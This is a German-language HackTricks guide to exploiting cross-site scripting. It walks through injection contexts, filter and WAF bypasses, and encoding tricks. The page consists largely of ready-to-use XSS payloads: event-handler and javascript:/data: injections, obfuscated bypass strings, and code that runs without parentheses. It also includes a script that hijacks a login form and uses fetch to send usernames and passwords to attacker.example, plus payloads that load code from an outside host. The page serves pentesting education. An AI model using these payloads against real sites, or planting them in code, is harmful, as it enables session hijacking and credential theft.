XSS (Cross Site Scripting)

Reading time: 56 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Methodik

  1. Prüfe, ob ein von dir kontrollierter Wert (parameters, path, headers?, cookies?) im HTML reflektiert wird oder vom JS-Code verwendet wird.
  2. Finde den Kontext, in dem es reflektiert/verwendet wird.
  3. Wenn reflektiert
  4. Prüfe welche Zeichen du verwenden kannst und bereite abhängig davon das Payload vor:
  5. In raw HTML:
  6. Kannst du neue HTML-Tags erstellen?
  7. Kannst du Events oder Attribute verwenden, die das javascript:-Protokoll unterstützen?
  8. Kannst du Schutzmaßnahmen umgehen?
  9. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (AngularJS, VueJS, Mavo...) interpretiert? Dann könntest du eine Client Side Template Injection ausnutzen.
  10. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine Dangling Markup - HTML scriptless injection ausnutzen?
  11. Innerhalb eines HTML-Tags:
  12. Kannst du in den raw HTML-Kontext wechseln?
  13. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen?
  14. Unterstützt das Attribut, in dem dein Input steckt, die Ausführung von JS?
  15. Kannst du Schutzmaßnahmen umgehen?
  16. Innerhalb von JavaScript-Code:
  17. Kannst du aus dem <script>-Tag ausbrechen?
  18. Kannst du die String-Begrenzung verlassen und anderen JS-Code ausführen?
  19. Befinden sich deine Eingaben in template literals ``?
  20. Kannst du Schutzmaßnahmen umgehen?
  21. Javascript Funktion, die ausgeführt wird
  22. Du kannst den Namen der Funktion angeben, die ausgeführt werden soll. z.B.: ?callback=alert(1)
  23. Wenn verwendet:
  24. Du könntest ein DOM XSS ausnutzen; achte darauf, wie deine Eingabe kontrolliert wird und ob deine kontrollierte Eingabe von einem sink verwendet wird.

Wenn du an einem komplexen XSS arbeitest, könnte es interessant sein, Folgendes zu kennen:

Debugging Client Side JS

Reflektierte Werte

Um ein XSS erfolgreich auszunutzen, musst du zuerst einen von dir kontrollierten Wert finden, der auf der Webseite reflektiert wird.

  • Intermediately reflected: Wenn du feststellst, dass der Wert eines parameters oder sogar der path auf der Webseite reflektiert wird, könntest du ein Reflected XSS ausnutzen.
  • Stored and reflected: Wenn du feststellst, dass ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du ein Stored XSS ausnutzen.
  • Accessed via JS: Wenn du feststellst, dass ein von dir kontrollierter Wert per JS abgerufen wird, könntest du ein DOM XSS ausnutzen.

Kontexte

Beim Versuch, ein XSS auszunutzen, musst du zuerst wissen, wo dein Input reflektiert wird. Je nach Kontext wirst du verschiedene Wege haben, beliebigen JS-Code auszuführen.

Raw HTML

Wenn dein Input im raw HTML der Seite reflektiert wird, musst du ein HTML-Tag missbrauchen, um JS-Code auszuführen: <img , <iframe , <svg , <script ... das sind nur einige der vielen möglichen HTML-Tags, die du verwenden kannst.
Außerdem, denke an Client Side Template Injection.

Innerhalb von HTML-Tag-Attributen

Wenn dein Input innerhalb des Werts eines Tag-Attributs reflektiert wird, könntest du versuchen:

  1. Aus dem Attribut und dem Tag auszubrechen (dann bist du im raw HTML) und ein neues HTML-Tag zu erstellen, das du missbrauchst: "><img [...]
  2. Wenn du aus dem Attribut, aber nicht aus dem Tag entkommen kannst (> ist kodiert oder gelöscht), kannst du abhängig vom Tag ein Event erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="
  3. Wenn du nicht aus dem Attribut entkommen kannst (" wird kodiert oder gelöscht), dann kannst du je nach welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, es ausnutzen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du beliebigen Code ausführen lassen, wenn es angeklickt wird. Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"
  4. Wenn dein Input innerhalb von "unexpoitable tags" reflektiert wird, kannst du den accesskey-Trick versuchen, um die Verwundbarkeit auszunutzen (du wirst eine Form von Social Engineering benötigen): " accesskey="x" onclick="alert(1)" x="

Seltsames Beispiel, wie Angular XSS ausführt, wenn du einen Klassennamen kontrollierst:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Im JavaScript-Code

In diesem Fall wird deine Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, in einer .js-Datei oder in einem Attribut mit dem javascript:-Protokoll reflektiert:

  • Wenn die Reflektion zwischen <script> [...] </script> Tags erfolgt, selbst wenn deine Eingabe in irgendeiner Art von Quotes steht, kannst du versuchen </script> zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt; deshalb wird er nicht bemerken, dass dein injiziertes </script> Tag Teil des HTML-Codes ist.
  • Wenn die Reflektion inside a JS string erfolgt und der letzte Trick nicht funktioniert, musst du den String exiten, deinen Code executen und den JS-Code reconstructen (wenn ein Fehler auftritt, wird er nicht ausgeführt):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn die Reflektion in template literals erfolgt, kannst du embed JS expressions mit der ${ ... }-Syntax: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funktioniert, um valid javascript code zu schreiben:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting bezieht sich auf die Möglichkeit, Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass man Szenarien ausnutzen kann, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.
Weitere Infos auf folgender Seite:

JS Hoisting

Javascript Function

Viele Webseiten haben Endpoints, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein häufiges Beispiel in freier Wildbahn ist so etwas wie: ?callback=callbackFunc.

Eine gute Methode herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist den Parameterwert zu ändern (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie folgt zu suchen:

Falls es verwundbar ist, könntest du in der Lage sein, einfach durch Senden des Wertes ein alert auszulösen: ?callback=alert(1). Allerdings ist es sehr üblich, dass diese Endpoints den Inhalt validieren, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen ([\w\._]).

Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf beliebige Elemente im DOM zuzugreifen:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Sie können auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

Allerdings sind die Endpoints, die die angegebene Funktion ausführen, meist Endpoints ohne besonders interessanten DOM; andere Seiten in derselben Origin werden einen interessanteren DOM haben, um mehr Aktionen durchzuführen.

Daher wurde, um diese Verwundbarkeit in einem anderen DOM zu missbrauchen, die Same Origin Method Execution (SOME) Exploitation entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS code, der unsicher einige vom Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.

DOM XSS

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art der beliebigen JavaScript-Ausführung kann sogar missbraucht werden, um RCE zu erlangen, beliebige Dateien in Clients und Servern zu lesen, und mehr.
Einige Beispiele:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF-Bypass: encodiertes Bild

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injektion in rohes HTML

Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, zu prüfen, ob du < zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses Zeichen zu reflektieren und überprüfe, ob es HTML encoded oder gelöscht wird, oder ob es ohne Änderungen reflektiert wird. Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können.
Für diese Fälle beachte Client Side Template Injection.
Hinweis: Ein HTML-Kommentar kann geschlossen werden mit****-->**** oder **--!>**

In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, kannst du Payloads wie die folgenden verwenden:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Aber, wenn Tags/Attribute Black/Whitelisting verwendet werden, musst du brute-force herausfinden, welche Tags du erstellen kannst.
Sobald du lokalisiert hast, welche Tags erlaubt sind, musst du attributes/events brute-force innerhalb der gefundenen gültigen Tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.

Tags/Events brute-force

Gehe zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicke auf Kopiere Tags in die Zwischenablage. Sende anschließend alle mit Burp intruder und prüfe, ob eines der Tags vom WAF nicht als bösartig erkannt wurde. Sobald du herausgefunden hast, welche Tags du verwenden kannst, kannst du alle Events brute-force mit den gültigen Tags testen (auf derselben Webseite klicke auf Kopiere Events in die Zwischenablage und folge demselben Verfahren wie zuvor).

Benutzerdefinierte Tags

Wenn du kein gültiges HTML-Tag gefunden hast, kannst du versuchen, ein benutzerdefiniertes Tag zu erstellen und JS-Code mit dem onfocus-Attribut auszuführen. In der XSS-Anfrage musst du die URL mit # beenden, damit die Seite den Fokus auf dieses Objekt setzt und den Code ausführt:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit ein paar einfachen Tricks zu bypassen:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Längen-Bypass (kleine XSSs)

[!NOTE] > Mehr tiny XSS payloads für verschiedene Umgebungen sind hier und hier zu finden.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr
More of these characters can be found here.
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe here.

Click XSS - Clickjacking

Wenn du, um die Schwachstelle auszunutzen, brauchst, dass der Benutzer auf einen Link oder ein Formular klickt mit vorausgefüllten Daten, könntest du versuchen, abuse Clickjacking (falls die Seite verwundbar ist).

Impossible - Dangling Markup

Wenn du denkst, dass es unmöglich ist, ein HTML tag mit einem Attribut zu erzeugen, das JS-Code ausführt, solltest du Danglig Markup prüfen, denn du könntest die Schwachstelle ausnutzen ohne JS-Code auszuführen.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Wenn du dich inside a HTML tag befindest, ist das Erste, was du versuchen könntest, aus dem Tag zu escape und einige der in der previous section genannten Techniken zu verwenden, um JS-Code auszuführen.
Wenn du dich nicht aus dem Tag escape kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen; du wirst sie nicht benötigen, wenn deine Eingabe direkt innerhalb des Tags reflektiert wird):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Style-Ereignisse

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Auch wenn du nicht aus dem Attribut ausbrechen kannst (" wird kodiert oder gelöscht), kannst du je nachdem, in welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, das Attribut ausnutzen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du beliebigen Code ausführen lassen, wenn darauf geklickt wird.\ Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

Die HTML-codierten Zeichen innerhalb des Wertes von HTML-Tag-Attributen werden zur Laufzeit decodiert. Daher ist so etwas wie das Folgende gültig (die Payload ist fettgedruckt): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachte, dass jede Art von HTML-Encoding gültig ist:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachte, dass URL encode ebenfalls funktioniert:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass innerhalb eines Events mittels Unicode-Encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle im Attribut

Dort kannst du die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern Benutzerinteraktion, andere nicht.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen du diese Protokolle injizieren kannst

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, das das Attribut href akzeptiert und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img>)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Weitere Obfuskationstricks

In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls anwendbar, da du dich innerhalb eines Attributs befindest.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren netten Trick für diese Fälle: Selbst wenn deine Eingabe innerhalb von javascript:... URL encoded wird, wird sie vor der Ausführung URL decoded. Also, wenn du aus dem String mit einem single quote escape musst und siehst, dass es URL encoded wird, denk daran, dass das egal ist, es wird zur Ausführungszeit als single quote interpretiert.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge anzuwenden, um den payload zu encodieren, es wird nicht funktionieren, aber du kannst sie innerhalb des payloads mischen.

Verwendung von Hex and Octal encode mit javascript:

Du kannst Hex und Octal encode innerhalb des src-Attributs von iframe (zumindest) verwenden, um HTML tags to execute JS zu deklarieren:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Wenn du jede beliebige URL in ein beliebiges <a href=-Tag injizieren kannst, das die Attribute target="_blank" and rel="opener" enthält, sieh dir die folgende Seite an, um dieses Verhalten auszunutzen:

Reverse Tab Nabbing

Bypass von on-Event-Handlern

Prüfe zuerst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) nach nützlichen "on" event handlers.
Falls eine Blacklist dich daran hindert, diese on-Event-Handler zu erstellen, kannst du die folgenden Bypässe versuchen:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Von here ist es nun möglich, hidden inputs wie folgt zu missbrauchen:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Und in Meta-Tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Aus here: Du kannst eine XSS payload inside a hidden attribute ausführen, vorausgesetzt du kannst das Opfer dazu überreden, die Tastenkombination zu drücken. Unter Firefox auf Windows/Linux ist die Tastenkombination ALT+SHIFT+X und auf OS X CTRL+ALT+X. Du kannst eine andere Tastenkombination angeben, indem du eine andere Taste im access key attribute verwendest. Hier ist der Vektor:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS payload wird ungefähr so aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Mehrere Tricks mit unterschiedlichen encodings wurden bereits in diesem Abschnitt aufgezeigt. Gehe zurück, um zu lernen, wo du verwenden kannst:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Siehe die Blacklist Bypasses der vorherigen Sektion.

Bypasses for JavaScript code

Siehe die JavaScript bypass blacklist of the following section.

CSS-Gadgets

Wenn du ein XSS in einem sehr kleinen Bereich der Seite gefunden hast, das irgendeine Art von Interaktion benötigt (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Platz, den dieses Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Zum Beispiel könntest du dem Element etwas Styling hinzufügen wie: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Wenn der WAF jedoch das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du z.B. findest

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

kannst du jetzt unseren Link modifizieren und in die Form bringen

<a href="" id=someid class=test onclick=alert() a="">

Dieser Trick wurde von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 übernommen.

Injecting inside JavaScript code

In diesen Fällen wird dein input innerhalb des JS-Codes eines .js-Files oder zwischen <script>...</script>-Tags oder zwischen HTML-Events, die JS ausführen können, oder zwischen Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escaping <script> tag

Wenn dein Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, kannst du leicht das Schließen des <script>-Tags escapen:

javascript
</script><img src=1 onerror=alert(document.domain)>

Beachte, dass wir in diesem Beispiel haven't even closed the single quote. Das liegt daran, dass HTML parsing is performed first by the browser, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb von JS-Code

Wenn <> sanitised werden, kannst du trotzdem escape the string an der Stelle, wo deine Eingabe located ist, und execute arbitrary JS. Es ist wichtig, die fix JS syntax, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wenn Benutzereingaben in einen in Anführungszeichen stehenden JavaScript-String gelangen (z. B. server-side echo in ein inline script), kannst du den String terminieren, Code injecten und die Syntax reparieren, damit das Parsing gültig bleibt. Generisches Gerüst:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:

?param=test";<INJECTION>;a="

Dies führt attacker JS aus, ohne den HTML-Kontext zu berühren (reines JS-in-JS). Kombiniere es mit den untenstehenden blacklist bypasses, wenn Filter keywords blockieren.

Template literals ``

Um strings zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Das ist als template literals bekannt, da sie die Einbettung von JS expressions mithilfe der ${ ... }-Syntax erlauben.
Wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings, der backticks verwendet, reflektiert wird, kannst du die Syntax ${ ... } missbrauchen, um arbitrary JS code auszuführen:

Dies kann missbraucht werden mit:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodierte Codeausführung

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Auslieferbare payloads mit eval(atob()) und scope-Nuancen

Um URLs kürzer zu halten und naive keyword filters zu umgehen, kannst du deine eigentliche Logik base64-encode und mit eval(atob('...')) ausführen. Wenn einfache keyword filters Bezeichner wie alert, eval oder atob blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber string-matching filters umgehen:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Wichtiger Scoping-Hinweis: const/let, die innerhalb von eval() deklariert werden, sind block-scoped und erzeugen KEINE globals; sie sind für spätere scripts nicht zugänglich. Verwende ein dynamisch injiziertes <script>-Element, um bei Bedarf global, non-rebindable hooks zu definieren (z. B., to hijack a form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodierte JS-Ausführung

javascript
alert(1)
alert(1)
alert(1)

JavaScript-Techniken zum Umgehen von Blacklists

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escape-Sequenzen

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Leerzeichen-Ersetzungen innerhalb von JS-Code

javascript
<TAB>
/**/

JavaScript comments (aus dem JavaScript Comments Trick)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript Zeilenumbrüche (aus dem JavaScript new line Trick)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript Leerzeichen

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript in einem Kommentar

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
